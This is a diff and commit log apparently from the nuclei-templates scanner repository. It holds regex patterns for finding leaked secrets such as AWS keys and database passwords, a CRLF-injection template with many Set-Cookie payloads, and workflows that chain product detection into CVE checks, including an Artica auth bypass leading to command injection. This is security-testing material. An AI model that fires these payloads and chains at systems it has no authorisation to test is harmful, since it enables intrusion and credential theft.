+          - "docker[_-]passwd(=| =|:| :)"
+          - "docker[_-]pass(=| =|:| :)"
+          - "docker[_-]key(=| =|:| :)"
+          - "docker[_-]hub[_-]password(=| =|:| :)"
+          - "digitalocean[_-]ssh[_-]key[_-]ids(=| =|:| :)"
+          - "digitalocean[_-]ssh[_-]key[_-]body(=| =|:| :)"
+          - "digitalocean[_-]access[_-]token(=| =|:| :)"
+          - "dgpg[_-]passphrase(=| =|:| :)"
+          - "deploy[_-]user(=| =|:| :)"
+          - "deploy[_-]token(=| =|:| :)"
+          - "deploy[_-]secure(=| =|:| :)"
+          - "deploy[_-]password(=| =|:| :)"
+          - "ddgc[_-]github[_-]token(=| =|:| :)"
+          - "ddg[_-]test[_-]email[_-]pw(=| =|:| :)"
+          - "ddg[_-]test[_-]email(=| =|:| :)"
+          - "db[_-]username(=| =|:| :)"
+          - "db[_-]user(=| =|:| :)"
+          - "db[_-]pw(=| =|:| :)"
+          - "db[_-]password(=| =|:| :)"
+          - "db[_-]host(=| =|:| :)"
+          - "db[_-]database(=| =|:| :)"
+          - "db[_-]connection(=| =|:| :)"
+          - "datadog[_-]app[_-]key(=| =|:| :)"
+          - "datadog[_-]api[_-]key(=| =|:| :)"
+          - "database[_-]username(=| =|:| :)"
+          - "database[_-]user(=| =|:| :)"
+          - "database[_-]port(=| =|:| :)"
+          - "database[_-]password(=| =|:| :)"
+          - "database[_-]name(=| =|:| :)"
+          - "database[_-]host(=| =|:| :)"
+          - "danger[_-]github[_-]api[_-]token(=| =|:| :)"
+          - "cypress[_-]record[_-]key(=| =|:| :)"
+          - "coverity[_-]scan[_-]token(=| =|:| :)"
+          - "coveralls[_-]token(=| =|:| :)"
+          - "coveralls[_-]repo[_-]token(=| =|:| :)"
+          - "coveralls[_-]api[_-]token(=| =|:| :)"
+          - "cos[_-]secrets(=| =|:| :)"
+          - "conversation[_-]username(=| =|:| :)"
+          - "conversation[_-]password(=| =|:| :)"
+          - "contentful[_-]v2[_-]access[_-]token(=| =|:| :)"
+          - "contentful[_-]test[_-]org[_-]cma[_-]token(=| =|:| :)"
+          - "contentful[_-]php[_-]management[_-]test[_-]token(=| =|:| :)"
+          - "contentful[_-]management[_-]api[_-]access[_-]token[_-]new(=| =|:| :)"
+          - "contentful[_-]management[_-]api[_-]access[_-]token(=| =|:| :)"
+          - "contentful[_-]integration[_-]management[_-]token(=| =|:| :)"
+          - "contentful[_-]cma[_-]test[_-]token(=| =|:| :)"
+          - "contentful[_-]access[_-]token(=| =|:| :)"
+          - "consumerkey(=| =|:| :)"
+          - "consumer[_-]key(=| =|:| :)"
+          - "conekta[_-]apikey(=| =|:| :)"
+          - "coding[_-]token(=| =|:| :)"
+          - "codecov[_-]token(=| =|:| :)"
+          - "codeclimate[_-]repo[_-]token(=| =|:| :)"
+          - "codacy[_-]project[_-]token(=| =|:| :)"
+          - "cocoapods[_-]trunk[_-]token(=| =|:| :)"
+          - "cocoapods[_-]trunk[_-]email(=| =|:| :)"
+          - "cn[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "cn[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "clu[_-]ssh[_-]private[_-]key[_-]base64(=| =|:| :)"
+          - "clu[_-]repo[_-]url(=| =|:| :)"
+          - "cloudinary[_-]url[_-]staging(=| =|:| :)"
+          - "cloudinary[_-]url(=| =|:| :)"
+          - "cloudflare[_-]email(=| =|:| :)"
+          - "cloudflare[_-]auth[_-]key(=| =|:| :)"
+          - "cloudflare[_-]auth[_-]email(=| =|:| :)"
+          - "cloudflare[_-]api[_-]key(=| =|:| :)"
+          - "cloudant[_-]service[_-]database(=| =|:| :)"
+          - "cloudant[_-]processed[_-]database(=| =|:| :)"
+          - "cloudant[_-]password(=| =|:| :)"
+          - "cloudant[_-]parsed[_-]database(=| =|:| :)"
+          - "cloudant[_-]order[_-]database(=| =|:| :)"
+          - "cloudant[_-]instance(=| =|:| :)"
+          - "cloudant[_-]database(=| =|:| :)"
+          - "cloudant[_-]audited[_-]database(=| =|:| :)"
+          - "cloudant[_-]archived[_-]database(=| =|:| :)"
+          - "cloud[_-]api[_-]key(=| =|:| :)"
+          - "clojars[_-]password(=| =|:| :)"
+          - "client[_-]secret(=| =|:| :)"
+          - "cli[_-]e2e[_-]cma[_-]token(=| =|:| :)"
+          - "claimr[_-]token(=| =|:| :)"
+          - "claimr[_-]superuser(=| =|:| :)"
+          - "claimr[_-]db(=| =|:| :)"
+          - "claimr[_-]database(=| =|:| :)"
+          - "ci[_-]user[_-]token(=| =|:| :)"
+          - "ci[_-]server[_-]name(=| =|:| :)"
+          - "ci[_-]registry[_-]user(=| =|:| :)"
+          - "ci[_-]project[_-]url(=| =|:| :)"
+          - "ci[_-]deploy[_-]password(=| =|:| :)"
+          - "chrome[_-]refresh[_-]token(=| =|:| :)"
+          - "chrome[_-]client[_-]secret(=| =|:| :)"
+          - "cheverny[_-]token(=| =|:| :)"
+          - "cf[_-]password(=| =|:| :)"
+          - "certificate[_-]password(=| =|:| :)"
+          - "censys[_-]secret(=| =|:| :)"
+          - "cattle[_-]secret[_-]key(=| =|:| :)"
+          - "cattle[_-]agent[_-]instance[_-]auth(=| =|:| :)"
+          - "cattle[_-]access[_-]key(=| =|:| :)"
+          - "cargo[_-]token(=| =|:| :)"
+          - "cache[_-]s3[_-]secret[_-]key(=| =|:| :)"
+          - "bx[_-]username(=| =|:| :)"
+          - "bx[_-]password(=| =|:| :)"
+          - "bundlesize[_-]github[_-]token(=| =|:| :)"
+          - "built[_-]branch[_-]deploy[_-]key(=| =|:| :)"
+          - "bucketeer[_-]aws[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "bucketeer[_-]aws[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "browserstack[_-]access[_-]key(=| =|:| :)"
+          - "browser[_-]stack[_-]access[_-]key(=| =|:| :)"
+          - "brackets[_-]repo[_-]oauth[_-]token(=| =|:| :)"
+          - "bluemix[_-]username(=| =|:| :)"
+          - "bluemix[_-]pwd(=| =|:| :)"
+          - "bluemix[_-]password(=| =|:| :)"
+          - "bluemix[_-]pass[_-]prod(=| =|:| :)"
+          - "bluemix[_-]pass(=| =|:| :)"
+          - "bluemix[_-]auth(=| =|:| :)"
+          - "bluemix[_-]api[_-]key(=| =|:| :)"
+          - "bintraykey(=| =|:| :)"
+          - "bintray[_-]token(=| =|:| :)"
+          - "bintray[_-]key(=| =|:| :)"
+          - "bintray[_-]gpg[_-]password(=| =|:| :)"
+          - "bintray[_-]apikey(=| =|:| :)"
+          - "bintray[_-]api[_-]key(=| =|:| :)"
+          - "b2[_-]bucket(=| =|:| :)"
+          - "b2[_-]app[_-]key(=| =|:| :)"
+          - "awssecretkey(=| =|:| :)"
+          - "awscn[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "awscn[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "awsaccesskeyid(=| =|:| :)"
+          - "aws[_-]ses[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "aws[_-]ses[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "aws[_-]secrets(=| =|:| :)"
+          - "aws[_-]secret[_-]key(=| =|:| :)"
+          - "aws[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "aws[_-]secret(=| =|:| :)"
+          - "aws[_-]key(=| =|:| :)"
+          - "aws[_-]config[_-]secretaccesskey(=| =|:| :)"
+          - "aws[_-]config[_-]accesskeyid(=| =|:| :)"
+          - "aws[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "aws[_-]access[_-]key(=| =|:| :)"
+          - "aws[_-]access(=| =|:| :)"
+          - "author[_-]npm[_-]api[_-]key(=| =|:| :)"
+          - "author[_-]email[_-]addr(=| =|:| :)"
+          - "auth0[_-]client[_-]secret(=| =|:| :)"
+          - "auth0[_-]api[_-]clientsecret(=| =|:| :)"
+          - "auth[_-]token(=| =|:| :)"
+          - "assistant[_-]iam[_-]apikey(=| =|:| :)"
+          - "artifacts[_-]secret(=| =|:| :)"
+          - "artifacts[_-]key(=| =|:| :)"
+          - "artifacts[_-]bucket(=| =|:| :)"
+          - "artifacts[_-]aws[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "artifacts[_-]aws[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "artifactory[_-]key(=| =|:| :)"
+          - "argos[_-]token(=| =|:| :)"
+          - "apple[_-]id[_-]password(=| =|:| :)"
+          - "appclientsecret(=| =|:| :)"
+          - "app[_-]token(=| =|:| :)"
+          - "app[_-]secrete(=| =|:| :)"
+          - "app[_-]report[_-]token[_-]key(=| =|:| :)"
+          - "app[_-]bucket[_-]perm(=| =|:| :)"
+          - "apigw[_-]access[_-]token(=| =|:| :)"
+          - "apiary[_-]api[_-]key(=| =|:| :)"
+          - "api[_-]secret(=| =|:| :)"
+          - "api[_-]key[_-]sid(=| =|:| :)"
+          - "api[_-]key[_-]secret(=| =|:| :)"
+          - "api[_-]key(=| =|:| :)"
+          - "aos[_-]sec(=| =|:| :)"
+          - "aos[_-]key(=| =|:| :)"
+          - "ansible[_-]vault[_-]password(=| =|:| :)"
+          - "android[_-]docs[_-]deploy[_-]token(=| =|:| :)"
+          - "anaconda[_-]token(=| =|:| :)"
+          - "amazon[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "amazon[_-]bucket[_-]name(=| =|:| :)"
+          - "alicloud[_-]secret[_-]key(=| =|:| :)"
+          - "alicloud[_-]access[_-]key(=| =|:| :)"
+          - "alias[_-]pass(=| =|:| :)"
+          - "algolia[_-]search[_-]key[_-]1(=| =|:| :)"
+          - "algolia[_-]search[_-]key(=| =|:| :)"
+          - "algolia[_-]search[_-]api[_-]key(=| =|:| :)"
+          - "algolia[_-]api[_-]key[_-]search(=| =|:| :)"
+          - "algolia[_-]api[_-]key[_-]mcm(=| =|:| :)"
+          - "algolia[_-]api[_-]key(=| =|:| :)"
+          - "algolia[_-]admin[_-]key[_-]mcm(=| =|:| :)"
+          - "algolia[_-]admin[_-]key[_-]2(=| =|:| :)"
+          - "algolia[_-]admin[_-]key[_-]1(=| =|:| :)"
+          - "adzerk[_-]api[_-]key(=| =|:| :)"
+          - "admin[_-]email(=| =|:| :)"
+          - "account[_-]sid(=| =|:| :)"
+          - "access[_-]token(=| =|:| :)"
+          - "access[_-]secret(=| =|:| :)"
+          - "access[_-]key[_-]secret(=| =|:| :)"
@@ -10,13 +10,6 @@ requests:
    path:
      - "{{BaseURL}}"

-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "AIza[0-9A-Za-z\\-_]{35}"
-
    extractors:
      - type: regex
        part: body
@@ -11,17 +11,10 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "(ftp|ftps|http|https)://[0-9A-Za-z\\-_%]+(:|@)"
+      - "{{BaseURL}}/"

    extractors:
      - type: regex
        part: body
        regex:
-          - "(ftp|ftps|http|https)://[0-9A-Za-z\\-_%]+(:|@)"
+          - '(ftp|ftps|http|https)://[A-Za-z0-9-_:\.~]+(@)'
@@ -8,14 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "[0-9a-f]{32}-us[0-9]{1,2}"
+      - "{{BaseURL}}"

    extractors:
      - type: regex
@@ -13,14 +13,6 @@ requests:
    path:
      - "{{BaseURL}}"

-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "xoxp-[0-9A-Za-z\\-]{72}"  # Person
-          - "xoxb-[0-9A-Za-z\\-]{51}"  # Bot
-
    extractors:
      - type: regex
        part: body
@@ -2,7 +2,7 @@ id: crlf-injection

 info:
  name: CRLF injection
-  author: melbadry9 & nadino
+  author: melbadry9 & nadino & xElkomy
  severity: low

 requests:
@@ -15,6 +15,8 @@ requests:
      - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
      - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.."    # Apache
      - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"    # CVE-2016-4975
+      - "{{BaseURL}}/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection"
+
    matchers:
      - type: regex
        regex:
@@ -0,0 +1,18 @@
+id: artica-web-proxy-workflow
+
+info:
+  name: Artica Web Proxy Workflows
+  author: dwisiswant0 & pdteam
+
+variables:
+  artica_tech: technologies/artica-web-proxy-detect.yaml
+  artica_auth_bypass: cves/CVE-2020-17506.yaml
+  artica_os_command_inject: cves/CVE-2020-17505.yaml
+
+logic:
+  |
+  if artica_tech() {
+    if artica_auth_bypass() {
+      artica_os_command_inject()
+    }
+  }
@@ -0,0 +1,19 @@
+id: cisco-asa-workflow
+
+info:
+  name: Cisco ASA Pwner
+  author: flag007
+
+variables:
+  ciscoasa: panels/cisco-asa-panel.yaml
+  ciscoasa_cve_2020_3187: cves/CVE-2020-3187.yaml
+  ciscoasa_cve_2020_3452: cves/CVE-2020-3452.yaml
+  ciscoasa_cve_2018_0296: cves/CVE-2018-0296.yaml
+
+logic:
+  |
+  if ciscoasa() {
+    ciscoasa_cve_2020_3187()
+    ciscoasa_cve_2020_3452()
+    ciscoasa_cve_2018_0296()
+  }
@@ -0,0 +1,15 @@
+id: grafana-workflow
+
+info:
+  name: Grafana Workflow
+  author: pdteam
+
+variables:
+  grafana_login: panels/grafana-detect.yaml
+  grafana_cred_check: default-credentials/grafana-default-credential.yaml
+
+logic:
+  |
+  if grafana_login() {
+    grafana_cred_check()
+  }
@@ -6,7 +6,7 @@ info:

 variables:
  rabbitmq_dashboard: panels/rabbitmq-dashboard.yaml
-  rabbitmq_default_admin: security-misconfiguration/rabbitmq-default-admin.yaml
+  rabbitmq_default_admin: default-credentials/rabbitmq-default-admin.yaml

 logic:
  |
@@ -0,0 +1,25 @@
+id: vbulletin-workflow
+
+info:
+  name: vBulletin workflow
+  author: pdteam
+
+variables:
+
+  vbulletin_tech: technologies/tech-detect.yaml
+  vbulletin_cve_1: cves/CVE-2019-16759.yaml
+  vbulletin_cve_2: cves/CVE-2019-16759-1.yaml
+  vbulletin_cve_3: cves/CVE-2020-12720.yaml
+
+  # This will run all 3 CVEs if vbulletin tech is found.
+
+logic:
+  |
+  vbulletin_tech()
+
+  if vbulletin_tech["vbulletin"] {
+
+    vbulletin_cve_1()
+    vbulletin_cve_2()
+    vbulletin_cve_3()
+  }
@@ -0,0 +1,26 @@
+id: wordpress-workflow
+info:
+  name: Wordpress workflow
+  author: Kiblyn11 & zomsop82
+variables:
+
+  wordpress_tech: technologies/tech-detect.yaml
+  wordpress_dir_listing: files/wordpress-directory-listing.yaml
+  wordpress_user_enum: files/wordpress-user-enumeration.yaml
+  wordpress_wpconfig: security-misconfiguration/wordpress-accessible-wpconfig.yaml
+  wordpress_duplicator_path_traversal: vulnerabilities/wordpress-duplicator-path-traversal.yaml
+  wordpress_wordfence_xss: vulnerabilities/wordpress-wordfence-xss.yaml
+  wordpress_cve_1: cves/CVE-2019-9978.yaml
+
+logic: |
+  wordpress_tech()
+
+  if wordpress_tech["wordpress"] {
+
+    wordpress_dir_listing()
+    wordpress_user_enum()
+    wordpress_wpconfig()
+    wordpress_duplicator_path_traversal()
+    wordpress_wordfence_xss()
+    wordpress_cve_1()
+  }
Author	SHA1	Message	Date
bauthard	b92c5e12da	Update .nuclei-ignore	2020-08-26 00:37:11 +05:30
bauthard	ae0886c31a	Merge pull request #344 from Sy3Omda/master add Credentials Disclosure template to check for common secrets	2020-08-25 21:16:47 +05:30
bauthard	684f56d955	Update http-username-password.yaml	2020-08-25 21:15:55 +05:30
bauthard	41240045d6	more updates	2020-08-25 21:14:33 +05:30
bauthard	e71f1be03e	added description and details. removed matcher part, as extractors can be used without matchers as well.	2020-08-25 19:31:54 +05:30
sy3omda	ee7bc83107	add Credentials Disclosure template to check for common secrets	2020-08-25 10:27:59 +00:00
bauthard	0997f039d8	adding nuclei-ignore	2020-08-24 13:42:02 +05:30
bauthard	85065e916a	Merge pull request #340 from un-fmunozs/favicon Recon using favicon	2020-08-24 12:02:00 +05:30
bauthard	bd6b6bb7fc	updates	2020-08-24 11:59:54 +05:30
bauthard	ff5777369d	Merge pull request #341 from dwisiswant0/tpl/fix-false-positives Fix multiple false-positives (CVE-2019-9978, CVE-2020-5284, CVE-2020-17506)	2020-08-24 10:48:56 +05:30
Dwi Siswanto	fb9c909e5c	🔨 Add word matcher & enable redirects	2020-08-24 11:39:40 +07:00
Dwi Siswanto	cd22d83f94	🔨 Add content-type matcher CVE-2020-5284	2020-08-24 11:34:40 +07:00
Dwi Siswanto	b2828c3a44	🔨 Fix false-positive CVE-2019-9978	2020-08-24 09:08:46 +07:00
un-fmunozs	ba9d66c0e5	Update favicon.yaml fix spaces again	2020-08-23 20:24:34 -05:00
un-fmunozs	c0846eed5e	Update favicon.yaml spaces	2020-08-23 20:18:27 -05:00
un-fmunozs	b94e0b0600	Create favicon.yaml Favicon fingerprinting	2020-08-23 20:16:20 -05:00
bauthard	c229002dbb	Delete cisco-asa-workflow	2020-08-23 18:01:43 +05:30
bauthard	0a82cb787d	Merge pull request #339 from aringo/master CVE-2020-5902 added hsqldb bypass	2020-08-23 14:43:03 +05:30
bauthard	fc0a1ba15d	Merge pull request #338 from correkthorse/cve/2020-8163 Create CVE-2020-8163.yaml	2020-08-23 14:19:20 +05:30
bauthard	7ccf51dd1e	Merge pull request #337 from flag007/patch-2 Create cisco-asa-workflow	2020-08-23 14:10:35 +05:30
bauthard	ec0b62fd6f	Create cisco-asa-workflow.yaml	2020-08-23 14:09:01 +05:30
flag007	7abbb881c1	Update cisco-asa-workflow add CVE-2018-0296	2020-08-23 08:39:42 +08:00
ringo	986a49f6d1	CVE-2020-5902 added hsqldb bypass	2020-08-22 19:37:43 -05:00
Tim Koopmans	03c0feee77	Create CVE-2020-8163.yaml details of CVE at https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/	2020-08-23 07:47:58 +10:00
flag007	e905946dec	Create cisco-asa-workflow	2020-08-23 00:43:28 +08:00
bauthard	7b1c5403e4	Merge pull request #334 from oways/patch-2 Create ds_store.yaml	2020-08-21 16:45:36 +05:30
bauthard	776ec5c22a	Update ds_store.yaml	2020-08-21 16:39:30 +05:30
Oways	bf15679e10	Create ds_store.yaml	2020-08-21 13:51:02 +03:00
bauthard	6cfb254efb	Merge pull request #330 from kurohost/master Clickjacking template	2020-08-21 00:50:45 +05:30
bauthard	3a6f907f6c	Update missing-x-frame-options.yaml	2020-08-21 00:49:56 +05:30
bauthard	0e10f08963	Merge pull request #332 from dwisiswant0/tpl/add-tech-and-cve Add Artica Web Proxy (Detect, CVEs & Workflow)	2020-08-21 00:49:23 +05:30
bauthard	3dd06c6ecb	template update	2020-08-21 00:47:46 +05:30
Dwi Siswanto	6b6ca0a3f5	🔨 Remove trailing newlines	2020-08-21 02:10:31 +07:00
bauthard	26fc8b5a23	updating PR	2020-08-21 00:31:07 +05:30
bauthard	708184d338	Merge branch 'tpl/add-tech-and-cve' of https://github.com/dwisiswant0/nuclei-templates into pr/332	2020-08-20 21:54:41 +05:30
bauthard	e9e3d2d70d	Update artica-web-proxy-workflow.yaml	2020-08-20 21:54:16 +05:30
Dwi Siswanto	608503d7cd	🔨 Fix workflow	2020-08-20 22:54:07 +07:00
Dwi Siswanto	053970ff92	♻️ Add Artica Web Proxy workflows	2020-08-20 22:50:04 +07:00
Dwi Siswanto	4fd07d906c	🔨 Move name to matchers to chain with workflow - CVE-2020-17506	2020-08-20 22:49:36 +07:00
Dwi Siswanto	8b9b0d2747	🔥 Add CVE-2020-17505	2020-08-20 22:38:14 +07:00
Dwi Siswanto	20ea5091d1	🔥 Add CVE-2020-17506	2020-08-20 22:11:34 +07:00
Dwi Siswanto	f571f2c0ac	🔨 Add Artica Web Proxy Detection	2020-08-20 22:04:51 +07:00
kurohost	f813b74305	Clickjacking template	2020-08-20 13:32:31 +02:00
bauthard	f0512b88d3	Update springboot-detect.yaml	2020-08-20 13:20:59 +05:30
bauthard	f102c94ef4	reworking ntlm-directories	2020-08-20 13:10:24 +05:30
bauthard	2ab4715dda	Merge pull request #327 from random-robbie/patch-3 Create CVE-2017-14849.yaml	2020-08-19 21:19:49 +05:30
Robbie	394d2e37cf	Create CVE-2017-14849.yaml	2020-08-19 16:34:31 +01:00
bauthard	54b4f92f56	Merge pull request #321 from un-fmunozs/fix-username Update http-username-password.yaml	2020-08-19 20:30:41 +05:30
bauthard	dda4daf55d	regex update	2020-08-19 20:29:38 +05:30
bauthard	1ac8ec9e0c	Merge pull request #326 from 0xceeb/patch-1 Create 2019-11248.yaml	2020-08-19 20:15:47 +05:30
bauthard	e734a23381	Update CVE-2019-11248.yaml	2020-08-19 20:14:59 +05:30
bauthard	2b5e991df2	cve update	2020-08-19 20:12:29 +05:30
bauthard	b9a49a2ace	Merge pull request #324 from xElkomy/patch-3 Create put-method-test.yaml	2020-08-19 20:05:39 +05:30
bauthard	95168a4ba3	Update put-method-enabled.yaml	2020-08-19 20:03:55 +05:30
0xceeb	f466050ac1	Create 2019-11248.yaml	2020-08-19 20:03:23 +05:30
bauthard	ecdd19bf5a	put-method-enabled	2020-08-19 19:48:50 +05:30
bauthard	ae84b3552b	Merge pull request #325 from random-robbie/patch-2 Create CVE-2017-5638.yaml	2020-08-19 19:31:39 +05:30
bauthard	0cd106838f	Update CVE-2017-5638.yaml	2020-08-19 19:25:42 +05:30
Khaled Mohamed	19f0693742	Update put-method-test.yaml	2020-08-19 15:46:46 +02:00
Robbie	7a45a9deef	Create CVE-2017-5638.yaml	2020-08-19 14:13:31 +01:00
Khaled Mohamed	690c3e39e0	Create put-method-test.yaml	2020-08-19 14:17:24 +02:00
bauthard	b320fe370c	Merge pull request #322 from un-fmunozs/tomcat Update tomcat-scripts.yaml	2020-08-19 10:46:53 +05:30
un-fmunozs	5fabd1558a	Update tomcat-scripts.yaml Fix spaces	2020-08-18 23:37:24 -05:00
un-fmunozs	8f3bcc43fc	Update tomcat-scripts.yaml Add websocket url and Orange-Tsai Path Normalization trick	2020-08-18 23:33:05 -05:00
un-fmunozs	9cb22199f7	Update http-username-password.yaml Improve regex to avoid maatching spaces and words like http://something mail@something. Test https://ccw-prod-dr-ext-rtp.cisco.com	2020-08-18 22:50:11 -05:00
bauthard	56c8e9b10d	Update README.md	2020-08-18 11:49:18 +05:30
bauthard	42a28ea522	Merge pull request #319 from dwisiswant0/fix/templates CVE-2020-7961 - Fix Payload (for Cross-platform)	2020-08-18 11:42:42 +05:30
Dwi Siswanto	de04f9d30a	🔨 Add some ports & extractors	2020-08-18 07:20:02 +07:00
Dwi Siswanto	f6a35bb11d	🔨 Convert payload to sniper attack for cross-platform exploit	2020-08-18 07:03:51 +07:00
Dwi Siswanto	3cfbf7edf8	🔨 CVE-2020-7961 - Fix payload that can't execute in Windows platform	2020-08-18 04:46:19 +07:00
bauthard	aec6474b04	Merge pull request #317 from un-fmunozs/change-httpusername Update http-username-password.yaml	2020-08-17 11:55:54 +05:30
un-fmunozs	750441c3d0	Update http-username-password.yaml Change regex	2020-08-17 01:20:46 -05:00
bauthard	74299dc5aa	Merge pull request #316 from un-fmunozs/typo-cve Update CVE-2019-9978.yaml	2020-08-17 11:34:03 +05:30
un-fmunozs	a7e79e8dc9	Update CVE-2019-9978.yaml Typo	2020-08-17 01:02:37 -05:00
bauthard	c552e09df5	Merge pull request #315 from gy741/fix-typo Fix small typo	2020-08-17 10:52:28 +05:30
bauthard	79490ef131	Merge pull request #314 from dwisiswant0/tpl/add-cves Add CVE-2019-2725	2020-08-17 10:51:19 +05:30
GwanYeong Kim	963fa59eba	Fix small typo	2020-08-17 13:44:01 +09:00
Dwi Siswanto	049d7d9b04	🔥 Add CVE-2019-2725	2020-08-16 23:33:49 +07:00
bauthard	584dec1c91	readme update	2020-08-16 21:42:21 +05:30
bauthard	7cda824231	Merge pull request #312 from dwisiswant0/tpl/add-cves Add CVEs (CVE-2020-9496, CVE-2019-6112 & CVE-2019-11580)	2020-08-16 21:29:02 +05:30
Dwi Siswanto	7747dd475a	🔥 Add CVE-2019-11580	2020-08-16 22:54:45 +07:00
Dwi Siswanto	3d6f52fbbf	🔥 Add CVE-2019-6112	2020-08-16 22:22:28 +07:00
Dwi Siswanto	04e7b37069	Merge branch 'master' of github.com:projectdiscovery/nuclei-templates into tpl/add-cves	2020-08-16 22:08:01 +07:00
bauthard	6f6af479a0	cleanups	2020-08-16 17:16:51 +05:30
bauthard	b61ee77122	moving tomcat to default creds	2020-08-16 16:52:33 +05:30
bauthard	3b9eede906	Merge pull request #313 from projectdiscovery/grafana-creds Adding grafana default credential check template and workflow	2020-08-16 15:48:22 +05:30
bauthard	a3106f709d	Update grafana-default-credential.yaml	2020-08-16 15:46:01 +05:30
bauthard	32a0da8020	Adding grafana default cred check template and workflow	2020-08-16 15:42:42 +05:30
Dwi Siswanto	505e77400a	🔨 Add multi-request because by default OFBiz doesn't run directly through port 80 (except it build with Docker image)	2020-08-16 08:14:03 +07:00
Dwi Siswanto	0c89ba4dae	🔥 Add CVE-2020-9496	2020-08-16 07:52:06 +07:00
bauthard	d57f734d54	Merge pull request #309 from dwisiswant0/tpl/add-cves Add CVE-2019-7609	2020-08-16 02:08:06 +05:30
bauthard	b994bc6435	Update CVE-2019-7609.yaml	2020-08-16 02:07:25 +05:30
bauthard	2796981df2	Merge pull request #311 from Pxmme/master Create CVE-2020-13379.yaml	2020-08-16 02:05:21 +05:30
bauthard	afe7ba568d	Update CVE-2020-13379.yaml	2020-08-16 02:04:11 +05:30
